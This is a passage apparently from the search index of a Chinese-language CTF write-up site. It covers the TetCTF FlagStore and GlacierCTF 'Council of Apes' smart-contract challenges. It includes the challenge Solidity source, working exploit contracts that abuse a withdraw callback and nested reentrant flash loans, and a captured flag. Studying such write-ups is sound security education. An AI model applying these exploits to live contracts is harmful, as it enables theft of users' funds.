TetCTFToken \u548c FlagStore \u7684\u5730\u5740\uff0c\u5e76\u5728 BscScan \u4e0a\u63d0\u4f9b\u4e86\u5408\u7ea6\u7684\u6e90\u7801 //SPDX-License-Identifier: MIT pragma solidity ^ 0.8.0 ; // \u4e3a\u4e86\u65b9\u4fbf\u9605\u8bfb\uff0c\u5c06\u7236\u5408\u7ea6\u8f6c\u6362\u6210 import \u7684\u5f62\u5f0f import \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" ; import \"@openzeppelin/contracts/access/Ownable.sol\" ; import \"@openzeppelin/contracts/security/ReentrancyGuard.sol\" ; contract TetCTFToken is ERC20 ( \"TetCTF Token\" , \"TetCTF\" ), Ownable , ReentrancyGuard { function mint ( address _to , uint _amount ) external onlyOwner { _mint ( _to , _amount ); } function burn ( address _from , uint _amount ) external onlyOwner { _burn ( _from , _amount ); } } contract FlagStore is Ownable , ReentrancyGuard { TetCTFToken public immutable token ; uint public flagPrice = 1337 * 1e18 ; mapping ( string => bool ) public flagClaimed ; constructor () { token = new TetCTFToken (); } function setFlagPrice ( uint price ) external onlyOwner { flagPrice = price ; } function deposit () external payable nonReentrant { token . mint ( msg . sender , msg . value ); } function withdraw () external nonReentrant { require ( token . balanceOf ( msg . sender ) > 0 , \"Insufficient balance\" ); ( bool success , ) = msg . sender . call { value : token . balanceOf ( msg . sender )}( \"\" ); require ( success , \"Failed to send Ether\" ); token . burn ( msg . sender , token . balanceOf ( msg . sender )); } function buyFlag ( string memory user ) external returns ( bool ) { require ( address ( msg . sender ). code . length == 0 , \"Smart contract is not allowed\" ); require ( token . balanceOf ( msg . sender ) >= flagPrice , \"Insufficient balance\" ); token . burn ( msg . sender , flagPrice ); flagClaimed [ user ] = true ; return true ; } } FlagStore \u662f\u4e3b\u8981\u4ea4\u4e92\u5408\u7ea6\uff0c\u53ef\u4ee5\u901a\u8fc7\u51fd\u6570 deposit \u7528 BNB \u6362\u53d6\u7b49\u91cf\u7684 TetCTFToken \uff0c\u968f\u540e\u53ef\u901a\u8fc7 withdraw \u5c06\u8d26\u6237\u4e2d\u6240\u6709\u7684 TetCTFToken \u6362\u56de\u7b49\u91cf\u7684 BNB \u51fd\u6570 deposit \u548c withdraw \u5747\u4f7f\u7528\u4e86 nonReentrant \u4fee\u9970\u7b26\uff0c\u4ee5\u9632\u6b62\u91cd\u5165\u653b\u51fb\uff0c\u5373\u4fbf\u5982\u6b64\uff0c\u7531\u4e8e\u4e0d\u7b26\u5408 Checks-Effects-Interactions \u6a21\u5f0f\uff0c msg.sender.call{value: token.balanceOf(msg.sender)}(\"\") \u4e5f\u662f\u503c\u5f97\u91cd\u70b9\u5173\u6ce8\u7684\u5bf9\u8c61\u3002\u4e0d\u80fd\u91cd\u590d\u8c03\u7528 deposit \u548c withdraw \uff0c\u90a3\u4e48\u5728\u5408\u7ea6\u7684\u56de\u8c03\u51fd\u6570\u4e2d\u8fd8\u80fd\u505a\u4ec0\u4e48\u5462\uff1f \u6ce8\u610f\u5230 msg.sender.call \u548c token.burn \u90fd\u4f7f\u7528\u4e86 token.balanceOf \u6765\u83b7\u53d6\u8c03\u7528\u8005\u6301\u6709 TetCTFToken \u7684\u6570\u91cf\uff0c\u56e0\u6b64\u5373\u4f7f\u5728 msg.sender.call \u89e6\u53d1\u7684\u56de\u8c03\u51fd\u6570\u4e2d\u8f6c\u79fb TetCTFToken \uff0c token.burn \u4e5f\u4e0d\u4f1a\u629b\u51fa\u5f02\u5e38 contract Hack is Ownable { FlagStore store ; TetCTFToken token ; constructor ( address instance ) payable { store = FlagStore ( instance ); token = TetCTFToken ( store . token ()); } // \u8c03\u7528\u4e00\u6b21\u6c7d\u6cb9\u8d39\u7ea6 0.12 BNB\uff0c\u5c3d\u53ef\u80fd\u63d0\u9ad8\u5355\u6b21\u4ea4\u6613\u91d1\u989d\u4ee5\u8282\u7ea6\u8d44\u91d1 function exploit () public { for ( uint i = 0 ; i < 191 ; i ++ ) { store . deposit { value : 1 ether }(); store . withdraw (); } } function destruct () public onlyOwner { selfdestruct ( payable ( msg . sender )); // \u56de\u6536 BNB (\u2565\u03c9\u2565) } receive () payable external { token . transfer ( tx . origin , 1e18 ); } } \u83b7\u53d6\u8db3\u591f\u7684 TetCTFToken \u540e\uff0c\u8c03\u7528 buyFlag \u5e76\u4f20\u5165\u5728\u7f51\u7ad9\u6ce8\u518c\u7684\u7528\u6237\u540d\uff0c\u6700\u540e Buy Flag \u5c31\u53ef\u4ee5\u5566 :D URL Routing \u2014 Werkzeug Documentation \u21a9","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/the_council_of_apes/","tags":["smart contract","flashloan","reentrancy"],"text":"#smart contract #flashloan #reentrancy .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 On top of the glacier you run into a bunch of monkeys. They are screaching at each other, throwin feces around and won't let you pass. You will need to somehow get rid of them to finish your mission. nc chall.glacierctf.com 13380 Setup.sol // SPDX-License-Identifier: MIT pragma solidity ^ 0.8.20 ; import \"./IcyExchange.sol\" ; contract Setup { IcyExchange public immutable TARGET ; // Contract the player will hack IERC20 public monkeyToken ; IERC20 public djungleCoin ; bool public already_claimed ; constructor () payable { // Deploy the target contract TARGET = new IcyExchange { value : 5 ether }(); //Become an ape bytes32 holyWords = keccak256 ( \"I hereby swear to ape into every shitcoin I see, to never sell, to never surrender, to never give up, to never stop buying, to never stop hodling, to never stop aping, to never stop believing, to never stop dreaming, to never stop hoping, to never stop loving, to never stop living, to never stop breathing\" ); TARGET . council (). becomeAnApe ( holyWords ); // We generate 2 new tokens and deploy them at the exchange monkeyToken = new TotallyNotCopiedToken ( address ( this ), \"MonkeyToken\" , \"MONK\" ); djungleCoin = new TotallyNotCopiedToken ( address ( this ), \"DjungleCoin\" , \"DJUNGLE\" ); //Approve the exchange for both monkeyToken . approve ( address ( TARGET ), 100 _000 ); djungleCoin . approve ( address ( TARGET ), 100 _000 ); //Deploy both pools TARGET . createPool { value : 1 ether }( address ( monkeyToken )); TARGET . createPool { value : 1 ether }( address ( djungleCoin )); } //You can get 100 of each for free function claimFreeTokens () external { require ( ! already_claimed ); monkeyToken . transfer ( msg . sender , 100 ); djungleCoin . transfer ( msg . sender , 100 ); already_claimed = true ; } // Our challenge in the CTF framework will call this function to // check whether the player has solved the challenge or not. function isSolved () public view returns ( bool ) { return TARGET . council (). isDissolved (); } } IcyExchange.sol // SPDX-License-Identifier: MIT pragma solidity ^ 0.8.20 ; import \"./CouncilOfApes.sol\" ; contract IcyExchange { TotallyNotCopiedToken public icyToken ; CouncilOfApes public council ; mapping ( address => IcyPool ) pools ; mapping ( address => mapping ( IERC20 => uint256 )) public liquidity ; uint256 poolCounter ; modifier onlyApe { require ( council . getMemberClass ( msg . sender ) >= CouncilOfApes . apeClass . APE ); _ ; } constructor () payable { require ( msg . value == 5 ether , \"You must pay 5 Ether to create the exchange\" ); icyToken = new TotallyNotCopiedToken ( address ( this ), \"IcyToken\" , \"ICY\" ); council = new CouncilOfApes ( address ( icyToken )); } //---------------------------- Public Functions ----------------------------// function createPool ( address token ) onlyApe () payable external { require ( msg . value == 1 ether , \"You must pay 1 Ether to create a pool\" ); //Check if pool already exists require ( address ( pools [ token ]) == address ( 0 ), \"This pool already exists\" ); //Create the pool and add it to the pools mapping pools [ token ] = new IcyPool ( address ( icyToken ), token ); //Every pool needs to be initialized with 100,000 of the chosen tokens and will get 100,000 of the icyToken IERC20 ( token ). transferFrom ( msg . sender , address ( pools [ token ]), 100 _000 ); icyToken . transfer ( address ( pools [ token ]), 100 _000 ); } function swap ( address fromToken , address toToken , uint256 amount ) onlyApe () external { require ( amount > 0 , \"You must swap at least 1 token\" ); IcyPool pool ; if ( fromToken == address ( icyToken )) { pool = pools [ toToken ]; } else if ( toToken == address ( icyToken )) { pool = pools [ fromToken ]; } pool . swap ( msg . sender , fromToken , toToken , amount ); } //---------------------------- Lending Functions ----------------------------// //We offer the worlds first collateralized flash loan (even safer than anything else) function collateralizedFlashloan ( address collateralToken , uint256 amount , address target ) onlyApe () external { require ( amount > 0 , \"You must lend out at least 1 token\" ); require ( amount <= icyToken . balanceOf ( address ( this )), \"We can't lend you this much\" ); require ( IERC20 ( collateralToken ). totalSupply () <= 100 _000_000 , \"Shitcoins are not accepted\" ); require ( address ( pools [ collateralToken ]) != address ( 0 ), \"This pool does not exist\" ); uint256 neededCollateral = pools [ collateralToken ]. getTokensPerIcyToken ( amount ); require ( neededCollateral <= 100 _000_000 , \"Shitcoins are still not accepted, don't try to cheat us\" ); //Receive the collateral IERC20 ( collateralToken ). transferFrom ( msg . sender , address ( this ), neededCollateral ); //Flashloan happens icyToken . transfer ( msg . sender , amount ); //You get to do stuff ( bool success , ) = target . call ( abi . encodeWithSignature ( \"receiveFlashLoan(uint256)\" , amount )); require ( success ); //By here we should get all our money back icyToken . transferFrom ( msg . sender , address ( this ), amount ); //Return the collateral IERC20 ( collateralToken ). transfer ( msg . sender , neededCollateral ); } //---------------------------- View Functions ----------------------------// function getPoolCount () public view returns ( uint256 ) { return poolCounter ; } function getPool ( address token ) public view returns ( IcyPool ) { return pools [ token ]; } } CouncilOfApes.sol pragma solidity ^ 0.8.20 ; import \"./IcyPool.sol\" ; contract CouncilOfApes { mapping ( address => uint256 ) public bananaBalance ; mapping ( address => uint256 ) public votes ; mapping ( address => apeClass ) public members ; bool public dissolved ; IERC20 public icyToken ; uint256 lastVote ; enum apeClass { NOBODY , APE , CHIMP , ORANGUTAN , GORILLA } modifier notDissolved { require ( dissolved == false , \"The council has been dissolved\" ); _ ; } modifier onlyAlpha { require ( members [ msg . sender ] == apeClass . GORILLA , \"This function can only be called by an alpha ape\" ); _ ; } constructor ( address _icyToken ) { dissolved = false ; icyToken = IERC20 ( _icyToken ); lastVote = 0 ; } //--------------------------- APE FUNCTIONS ---------------------------// //To become an ape you have to say the holy words. function becomeAnApe ( bytes32 theHolyWords ) external notDissolved { require ( theHolyWords == keccak256 ( \"I hereby swear to ape into every shitcoin I see, to never sell, to never surrender, to never give up, to never stop buying, to never stop hodling, to never stop aping, to never stop believing, to never stop dreaming, to never stop hoping, to never stop loving, to never stop living, to never stop breathing\" )); //You are officially an ape now members [ msg . sender ] = apeClass . APE ; //You get a free banana bananaBalance [ msg . sender ] = 1 ; } //You can also buy bananas from the apes function buyBanana ( uint256 amount ) external notDissolved () { require ( members [ msg . sender ] == apeClass . APE ); icyToken . transferFrom ( msg . sender , address ( this ), amount ); bananaBalance [ msg . sender ] += amount ; } //You can also get your bananas back function sellBanana ( uint256 amount ) external notDissolved () { require ( bananaBalance [ msg . sender ] >= amount , \"You don't have that many bananas\" ); icyToken . transfer ( msg . sender , amount ); bananaBalance [ msg . sender ] -= amount ; } //Every cycle the apes vote for new alphas with their bananas function vote ( address target , uint256 amount ) external { require ( bananaBalance [ msg . sender ] >= amount , \"You don't have that many bananas\" ); bananaBalance [ msg . sender ] -= amount ; votes [ target ] += amount ; } //If you have enough votes, you can claim a new rank function claimNewRank () external { if ( votes [ msg . sender ] >= 1 _000_000_000 ) { members [ msg . sender ] = apeClass . GORILLA ; lastVote = block . timestamp ; } else if ( votes [ msg . sender ] >= 1 _000_000 ) { members [ msg . sender ] = apeClass . ORANGUTAN ; lastVote = block . timestamp ; } else if ( votes [ msg . sender ] >= 1 _000 ) { members [ msg . sender ] = apeClass . CHIMP ; lastVote = block . timestamp ; } } //--------------------------- ALPHA FUNCTIONS ---------------------------// //The alpha can issue himself bananas function issueBanana ( uint256 amount , address target ) external notDissolved () onlyAlpha () { require ( amount > 0 , \"You must issue at least 1 banana\" ); bananaBalance [ target ] += amount ; } //If you are one of the alpha apes, you can dissolve the council function dissolveCouncilOfTheApes ( bytes32 theEvilWords ) external notDissolved () onlyAlpha () { require ( theEvilWords == keccak256 ( \"Kevin come out of the basement, dinner is ready.\" )); dissolved = true ; } //--------------------------- VIEW FUNCTIONS ---------------------------// function getBananaBalance ( address target ) external view returns ( uint256 ) { return bananaBalance [ target ]; } function getVotes ( address target ) external view returns ( uint256 ) { return votes [ target ]; } function getMemberClass ( address target ) external view returns ( apeClass ) { return members [ target ]; } function isDissolved () external view returns ( bool ) { return dissolved ; } } IcyPool.sol pragma solidity ^ 0.8.20 ; import \"./TotallyNotCopiedToken.sol\" ; contract IcyPool { address public exchange ; IERC20 public icyToken ; IERC20 public token2 ; modifier onlyExchange { require ( msg . sender == exchange , \"Only the exchange can call this function\" ); _ ; } constructor ( address icyToken_ , address token2_ ) { icyToken = IERC20 ( icyToken_ ); token2 = IERC20 ( token2_ ); exchange = msg . sender ; } //----------------------------- External Functionalities -----------------------------------------// function swap ( address caller , address fromToken , address toToken , uint256 amount ) onlyExchange external { uint256 receivedTokens = _calculateOutput ( fromToken , toToken , amount ); //Check if the pool has enough tokens to swap require ( IERC20 ( toToken ). balanceOf ( address ( this )) > receivedTokens , \"The pool does not have enough tokens to swap\" ); //Let the pool swap the tokens IERC20 ( fromToken ). transferFrom ( caller , address ( this ), amount ); //Transfer the tokens back to the caller IERC20 ( toToken ). transfer ( caller , receivedTokens ); } function getTokensPerIcyToken ( uint256 amount ) view external returns ( uint256 ) { return _calculateOutput ( address ( icyToken ), address ( token2 ), amount ); } //----------------------------- Internal Functionalities -----------------------------------------// function _calculateOutput ( address _tokenFrom , address _tokenTo , uint256 amount ) internal view returns ( uint256 ) { uint256 balanceOfTokenFrom = IERC20 ( _tokenFrom ). balanceOf ( address ( this )); uint256 balanceOfTokenTo = IERC20 ( _tokenTo ). balanceOf ( address ( this )); uint256 returned_tokens = ( amount * balanceOfTokenTo ) / balanceOfTokenFrom ; if ( returned_tokens >= balanceOfTokenTo ) { returned_tokens = balanceOfTokenTo - 1 ; } return returned_tokens ; } } TotallyNotCopiedToken.sol // SPDX-License-Identifier: MIT pragma solidity ^ 0.8.20 ; import \"./libraries/ERC20.sol\" ; contract TotallyNotCopiedToken is ERC20 { constructor ( address owner , string memory name , string memory symbol ) ERC20 ( name , symbol ) { _mint ( owner , type ( uint256 ). max ); } } \u89e3\u9898\u601d\u8def \u00b6 \u76ee\u6807\u662f\u89e3\u6563 CouncilOfApes function isSolved () public view returns ( bool ) { return TARGET . council (). isDissolved (); } \u53ea\u6709 apeClass \u4e3a GORILLA \u624d\u80fd\u89e3\u6563\u59d4\u5458\u4f1a modifier onlyAlpha { require ( members [ msg . sender ] == apeClass . GORILLA , \"This function can only be called by an alpha ape\" ); _ ; } //If you are one of the alpha apes, you can dissolve the council function dissolveCouncilOfTheApes ( bytes32 theEvilWords ) external notDissolved () onlyAlpha () \u6210\u4e3a GORILLA \u9700\u8981 \\(10^9\\) \u7968\uff0c\u5bf9\u5e94 \\(10^9\\) \u6839\u9999\u8549\uff0c\u9999\u8549\u53ef\u901a\u8fc7 icyToken \u5151\u6362\u3002\u6210\u4e3a GORILLA \u4e4b\u540e\u80fd\u591f\u83b7\u53d6\u4efb\u610f\u6570\u91cf\u7684\u9999\u8549\uff0c\u800c IcyExchange \u63d0\u4f9b icyToken \u95ea\u7535\u8d37\uff0c\u90a3\u4e48\u53ef\u4ee5\u501f\u52a9\u95ea\u7535\u8d37\u6210\u4e3a GORILLA \uff0c\u518d\u5356\u6389\u9999\u8549\u6362\u53d6 icyToken \u5f52\u8fd8\u95ea\u7535\u8d37 \u53d1\u8d77\u95ea\u7535\u8d37\u9700\u8981\u8d28\u62bc\u53e6\u4e00\u79cd\u4ee3\u5e01\u3002\u7531\u4e8e\u4ee3\u5e01\u603b\u53d1\u884c\u91cf\u4e0d\u80fd\u8d85\u8fc7 \\(10^8\\) \uff0c\u56e0\u800c\u4e0d\u80fd\u4f7f\u7528 TotallyNotCopiedToken \u3002\u4f46\u5355\u6b21\u95ea\u7535\u8d37\u7684\u91d1\u989d\u4e0d\u8db3\u4ee5\u6210\u4e3a GORILLA \uff0c\u8003\u8651\u5230\u6ca1\u6709\u91cd\u5165\u4fdd\u62a4\uff0c\u53ef\u4ee5\u5728 receiveFlashLoan() \u65f6\u518d\u6b21\u53d1\u8d77\u95ea\u7535\u8d37 function collateralizedFlashloan ( address collateralToken , uint256 amount , address target ) onlyApe () external { require ( amount > 0 , \"You must lend out at least 1 token\" ); require ( amount <= icyToken . balanceOf ( address ( this )), \"We can't lend you this much\" ); require ( IERC20 ( collateralToken ). totalSupply () <= 100 _000_000 , \"Shitcoins are not accepted\" ); require ( address ( pools [ collateralToken ]) != address ( 0 ), \"This pool does not exist\" ); uint256 neededCollateral = pools [ collateralToken ]. getTokensPerIcyToken ( amount ); require ( neededCollateral <= 100 _000_000 , \"Shitcoins are still not accepted, don't try to cheat us\" ); //Receive the collateral IERC20 ( collateralToken ). transferFrom ( msg . sender , address ( this ), neededCollateral ); //Flashloan happens icyToken . transfer ( msg . sender , amount ); //You get to do stuff ( bool success , ) = target . call ( abi . encodeWithSignature ( \"receiveFlashLoan(uint256)\" , amount )); require ( success ); //By here we should get all our money back icyToken . transferFrom ( msg . sender , address ( this ), amount ); //Return the collateral IERC20 ( collateralToken ). transfer ( msg . sender , neededCollateral ); } Exploit \u00b6 contract HackToken is ERC20 { constructor ( address owner ) ERC20 ( \"HackToken\" , \"HACK\" ) { _mint ( owner , 100 _000_000 ); } } contract CouncilOfApesHack { IcyExchange exchange ; CouncilOfApes council ; TotallyNotCopiedToken icyToken ; bytes32 theHolyWords = keccak256 ( \"I hereby swear to ape into every shitcoin I see, to never sell, to never surrender, to never give up, to never stop buying, to never stop hodling, to never stop aping, to never stop believing, to never stop dreaming, to never stop hoping, to never stop loving, to never stop living, to never stop breathing\" ); bytes32 theEvilWords = keccak256 ( \"Kevin come out of the basement, dinner is ready.\" ); function exploit ( Setup setup ) external payable { exchange = setup . TARGET (); council = exchange . council (); icyToken = exchange . icyToken (); icyToken . approve ( address ( exchange ), type ( uint256 ). max ); icyToken . approve ( address ( council ), type ( uint256 ). max ); council . becomeAnApe ( theHolyWords ); setup . claimFreeTokens (); HackToken token = new HackToken ( address ( this )); token . approve ( address ( exchange ), type ( uint256 ). max ); exchange . createPool { value : 1 ether }( address ( token )); exchange . collateralizedFlashloan ( address ( token ), token . balanceOf ( address ( this )), address ( this ) ); council . dissolveCouncilOfTheApes ( theEvilWords ); } function receiveFlashLoan ( uint256 amount ) external { require ( msg . sender == address ( exchange )); if ( icyToken . balanceOf ( address ( this )) < 1e9 ) { HackToken token = new HackToken ( address ( this )); token . approve ( address ( exchange ), type ( uint256 ). max ); exchange . createPool { value : 1 ether }( address ( token )); exchange . collateralizedFlashloan ( address ( token ), token . balanceOf ( address ( this )), address ( this ) ); } else { council . buyBanana ( 1e9 ); council . vote ( address ( this ), 1e9 ); council . claimNewRank (); } council . issueBanana ( amount , address ( this )); uint balance = icyToken . balanceOf ( address ( council )); council . sellBanana ( amount > balance ? balance : amount ); } } Flag \u00b6 gctf{M0nkee5_4re_inD33d_t0g3ther_str0ng3r}","title":"The Council of Apes"},{"location":"blockchain/the_council_of_apes/#_1","text":"On top of the glacier you run into a bunch of monkeys. They are screaching at each other, throwin feces around and won't let you pass. You will need to somehow get rid of them to finish your mission. nc chall.glacierctf.com 13380 Setup.sol // SPDX-License-Identifier: MIT pragma solidity ^ 0.8.20 ; import \"./IcyExchange.sol\" ; contract Setup { IcyExchange public immutable TARGET ; // Contract the player will hack IERC20 public monkeyToken ; IERC20 public djungleCoin ; bool public already_claimed ; constructor () payable { // Deploy the target contract TARGET = new IcyExchange { value : 5 ether }(); //Become an ape bytes32 holyWords = keccak256 ( \"I hereby swear to ape into every shitcoin I see, to never sell, to never surrender, to never give up, to never stop buying, to never stop hodling, to never stop aping, to never stop believing, to never stop dreaming, to never stop hoping, to never stop loving, to never stop living, to never stop breathing\" ); TARGET . council (). becomeAnApe ( holyWords ); // We generate 2 new tokens and deploy them at the exchange monkeyToken = new TotallyNotCopiedToken ( address ( this ), \"MonkeyToken\" , \"MONK\" ); djungleCoin = new TotallyNotCopiedToken ( address ( this ), \"DjungleCoin\" , \"DJUNGLE\" ); //Approve the exchange for both monkeyToken . approve ( address ( TARGET ), 100 _000 ); djungleCoin . approve ( address ( TARGET ), 100 _000 ); //Deploy both pools TARGET . createPool { value : 1 ether }( address ( monkeyToken )); TARGET . createPool { value : 1 ether }( address ( djungleCoin )); } //You can get 100 of each for free function claimFreeTokens () external { require ( ! already_claimed ); monkeyToken . transfer ( msg . sender , 100 ); djungleCoin . transfer ( msg . sender , 100 ); already_claimed = true ; } // Our challenge in the CTF framework will call this function to // check whether the player has solved the challenge or not. function isSolved () public view returns ( bool ) { return TARGET . council (). isDissolved (); } } IcyExchange.sol // SPDX-License-Identifier: MIT pragma solidity ^ 0.8.20 ; import \"./CouncilOfApes.sol\" ; contract IcyExchange { TotallyNotCopiedToken public icyToken ; CouncilOfApes public council ; mapping ( address => IcyPool ) pools ; mapping ( address => mapping ( IERC20 => uint256 )) public liquidity ; uint256 poolCounter ; modifier onlyApe { require ( council . getMemberClass ( msg . sender ) >= CouncilOfApes . apeClass . APE ); _ ; } constructor () payable { require ( msg . value == 5 ether , \"You must pay 5 Ether to create the exchange\" ); icyToken = new TotallyNotCopiedToken ( address ( this ), \"IcyToken\" , \"ICY\" ); council = new CouncilOfApes ( address ( icyToken )); } //---------------------------- Public Functions ----------------------------// function createPool ( address token ) onlyApe () payable external { require ( msg . value == 1 ether , \"You must pay 1 Ether to create a pool\" ); //Check if pool already exists require ( address ( pools [ token ]) == address ( 0 ), \"This pool already exists\" ); //Create the pool and add it to the pools mapping pools [ token ] = new IcyPool ( address ( icyToken ), token ); //Every pool needs to be initialized with 100,000 of the chosen tokens and will get 100,000 of the icyToken IERC20 ( token ). transferFrom ( msg . sender , address ( pools [ token ]), 100 _000 ); icyToken . transfer ( address ( pools [ token ]), 100 _000 ); } function swap ( address fromToken , address toToken , uint256 amount ) onlyApe () external { require ( amount > 0 , \"You must swap at least 1 token\" ); IcyPool pool ; if ( fromToken == address ( icyToken )) { pool = pools [ toToken ]; } else if ( toToken == address ( icyToken )) { pool = pools [ fromToken ]; } pool . swap ( msg . sender , fromToken , toToken , amount ); } //---------------------------- Lending Functions ----------------------------// //We offer the worlds first collateralized flash loan (even safer than anything else) function collateralizedFlashloan ( address collateralToken , uint256 amount , address target ) onlyApe () external { require ( amount > 0 , \"You must lend out at least 1 token\" ); require ( amount <= icyToken . balanceOf ( address ( this )), \"We can't lend you this much\" ); require ( IERC20 ( collateralToken ). totalSupply () <= 100 _000_000 , \"Shitcoins are not accepted\" ); require ( address ( pools [ collateralToken ]) != address ( 0 ), \"This pool does not exist\" ); uint256 neededCollateral = pools [ collateralToken ]. getTokensPerIcyToken ( amount ); require ( neededCollateral <= 100 _000_000 , \"Shitcoins are still not accepted, don't try to cheat us\" ); //Receive the collateral IERC20 ( collateralToken ). transferFrom ( msg . sender , address ( this ), neededCollateral ); //Flashloan happens icyToken . transfer ( msg . sender , amount ); //You get to do stuff ( bool success , ) = target . call ( abi . encodeWithSignature ( \"receiveFlashLoan(uint256)\" , amount )); require ( success ); //By here we should get all our money back icyToken . transferFrom ( msg . sender , address ( this ), amount ); //Return the collateral IERC20 ( collateralToken ). transfer ( msg . sender , neededCollateral ); } //---------------------------- View Functions ----------------------------// function getPoolCount () public view returns ( uint256 ) { return poolCounter ; } function getPool ( address token ) public view returns ( IcyPool ) { return pools [ token ]; } } CouncilOfApes.sol pragma solidity ^ 0.8.20 ; import \"./IcyPool.sol\" ; contract CouncilOfApes { mapping ( address => uint256 ) public bananaBalance ; mapping ( address => uint256 ) public votes ; mapping ( address => apeClass ) public members ; bool public dissolved ; IERC20 public icyToken ; uint256 lastVote ; enum apeClass { NOBODY , APE , CHIMP , ORANGUTAN , GORILLA } modifier notDissolved { require ( dissolved == false , \"The council has been dissolved\" ); _ ; } modifier onlyAlpha { require ( members [ msg . sender ] == apeClass . GORILLA , \"This function can only be called by an alpha ape\" ); _ ; } constructor ( address _icyToken ) { dissolved = false ; icyToken = IERC20 ( _icyToken ); lastVote = 0 ; } //--------------------------- APE FUNCTIONS ---------------------------// //To become an ape you have to say the holy words. function becomeAnApe ( bytes32 theHolyWords ) external notDissolved { require ( theHolyWords == keccak256 ( \"I hereby swear to ape into every shitcoin I see, to never sell, to never surrender, to never give up, to never stop buying, to never stop hodling, to never stop aping, to never stop believing, to never stop dreaming, to never stop hoping, to never stop loving, to never stop living, to never stop breathing\" )); //You are officially an ape now members [ msg . sender ] = apeClass . APE ; //You get a free banana bananaBalance [ msg . sender ] = 1 ; } //You can also buy bananas from the apes function buyBanana ( uint256 amount ) external notDissolved () { require ( members [ msg . sender ] == apeClass . APE ); icyToken . transferFrom ( msg . sender , address ( this ), amount ); bananaBalance [ msg . sender ] += amount ; } //You can also get your bananas back function sellBanana ( uint256 amount ) external notDissolved () { require ( bananaBalance [ msg . sender ] >= amount , \"You don't have that many bananas\" ); icyToken . transfer ( msg . sender , amount ); bananaBalance [ msg . sender ] -= amount ; } //Every cycle the apes vote for new alphas with their bananas function vote ( address target , uint256 amount ) external { require ( bananaBalance [ msg . sender ] >= amount , \"You don't have that many bananas\" ); bananaBalance [ msg . sender ] -= amount ; votes [ target ] += amount ; } //If you have enough votes, you can claim a new rank function claimNewRank () external { if ( votes [ msg . sender ] >= 1 _000_000_000 ) { members [ msg . sender ] = apeClass . GORILLA ; lastVote = block . timestamp ; } else if ( votes [ msg . sender ] >= 1 _000_000 ) { members [ msg . sender ] = apeClass . ORANGUTAN ; lastVote = block . timestamp ; } else if ( votes [ msg . sender ] >= 1 _000 ) { members [ msg . sender ] = apeClass . CHIMP ; lastVote = block . timestamp ; } } //--------------------------- ALPHA FUNCTIONS ---------------------------// //The alpha can issue himself bananas function issueBanana ( uint256 amount , address target ) external notDissolved () onlyAlpha () { require ( amount > 0 , \"You must issue at least 1 banana\" ); bananaBalance [ target ] += amount ; } //If you are one of the alpha apes, you can dissolve the council function dissolveCouncilOfTheApes ( bytes32 theEvilWords ) external notDissolved () onlyAlpha () { require ( theEvilWords == keccak256 ( \"Kevin come out of the basement, dinner is ready.\" )); dissolved = true ; } //--------------------------- VIEW FUNCTIONS ---------------------------// function getBananaBalance ( address target ) external view returns ( uint256 ) { return bananaBalance [ target ]; } function getVotes ( address target ) external view returns ( uint256 ) { return votes [ target ]; } function getMemberClass ( address target ) external view returns ( apeClass ) { return members [ target ]; } function isDissolved () external view returns ( bool ) { return dissolved ; } } IcyPool.sol pragma solidity ^ 0.8.20 ; import \"./TotallyNotCopiedToken.sol\" ; contract IcyPool { address public exchange ; IERC20 public icyToken ; IERC20 public token2 ; modifier onlyExchange { require ( msg . sender == exchange , \"Only the exchange can call this function\" ); _ ; } constructor ( address icyToken_ , address token2_ ) { icyToken = IERC20 ( icyToken_ ); token2 = IERC20 ( token2_ ); exchange = msg . sender ; } //----------------------------- External Functionalities -----------------------------------------// function swap ( address caller , address fromToken , address toToken , uint256 amount ) onlyExchange external { uint256 receivedTokens = _calculateOutput ( fromToken , toToken , amount ); //Check if the pool has enough tokens to swap require ( IERC20 ( toToken ). balanceOf ( address ( this )) > receivedTokens , \"The pool does not have enough tokens to swap\" ); //Let the pool swap the tokens IERC20 ( fromToken ). transferFrom ( caller , address ( this ), amount ); //Transfer the tokens back to the caller IERC20 ( toToken ). transfer ( caller , receivedTokens ); } function getTokensPerIcyToken ( uint256 amount ) view external returns ( uint256 ) { return _calculateOutput ( address ( icyToken ), address ( token2 ), amount ); } //----------------------------- Internal Functionalities -----------------------------------------// function _calculateOutput ( address _tokenFrom , address _tokenTo , uint256 amount ) internal view returns ( uint256 ) { uint256 balanceOfTokenFrom = IERC20 ( _tokenFrom ). balanceOf ( address ( this )); uint256 balanceOfTokenTo = IERC20 ( _tokenTo ). balanceOf ( address ( this )); uint256 returned_tokens = ( amount * balanceOfTokenTo ) / balanceOfTokenFrom ; if ( returned_tokens >= balanceOfTokenTo ) { returned_tokens = balanceOfTokenTo - 1 ; } return returned_tokens ; } } TotallyNotCopiedToken.sol // SPDX-License-Identifier: MIT pragma solidity ^ 0.8.20 ; import \"./libraries/ERC20.sol\" ; contract TotallyNotCopiedToken is ERC20 { constructor ( address owner , string memory name , string memory symbol ) ERC20 ( name , symbol ) { _mint ( owner , type ( uint256 ). max ); } }","title":"\u9898\u76ee"},{"location":"blockchain/the_council_of_apes/#_2","text":"\u76ee\u6807\u662f\u89e3\u6563 CouncilOfApes function isSolved () public view returns ( bool ) { return TARGET . council (). isDissolved (); } \u53ea\u6709 apeClass \u4e3a GORILLA \u624d\u80fd\u89e3\u6563\u59d4\u5458\u4f1a modifier onlyAlpha { require ( members [ msg . sender ] == apeClass . GORILLA , \"This function can only be called by an alpha ape\" ); _ ; } //If you are one of the alpha apes, you can dissolve the council function dissolveCouncilOfTheApes ( bytes32 theEvilWords ) external notDissolved () onlyAlpha () \u6210\u4e3a GORILLA \u9700\u8981 \\(10^9\\) \u7968\uff0c\u5bf9\u5e94 \\(10^9\\) \u6839\u9999\u8549\uff0c\u9999\u8549\u53ef\u901a\u8fc7 icyToken \u5151\u6362\u3002\u6210\u4e3a GORILLA \u4e4b\u540e\u80fd\u591f\u83b7\u53d6\u4efb\u610f\u6570\u91cf\u7684\u9999\u8549\uff0c\u800c IcyExchange \u63d0\u4f9b icyToken \u95ea\u7535\u8d37\uff0c\u90a3\u4e48\u53ef\u4ee5\u501f\u52a9\u95ea\u7535\u8d37\u6210\u4e3a GORILLA \uff0c\u518d\u5356\u6389\u9999\u8549\u6362\u53d6 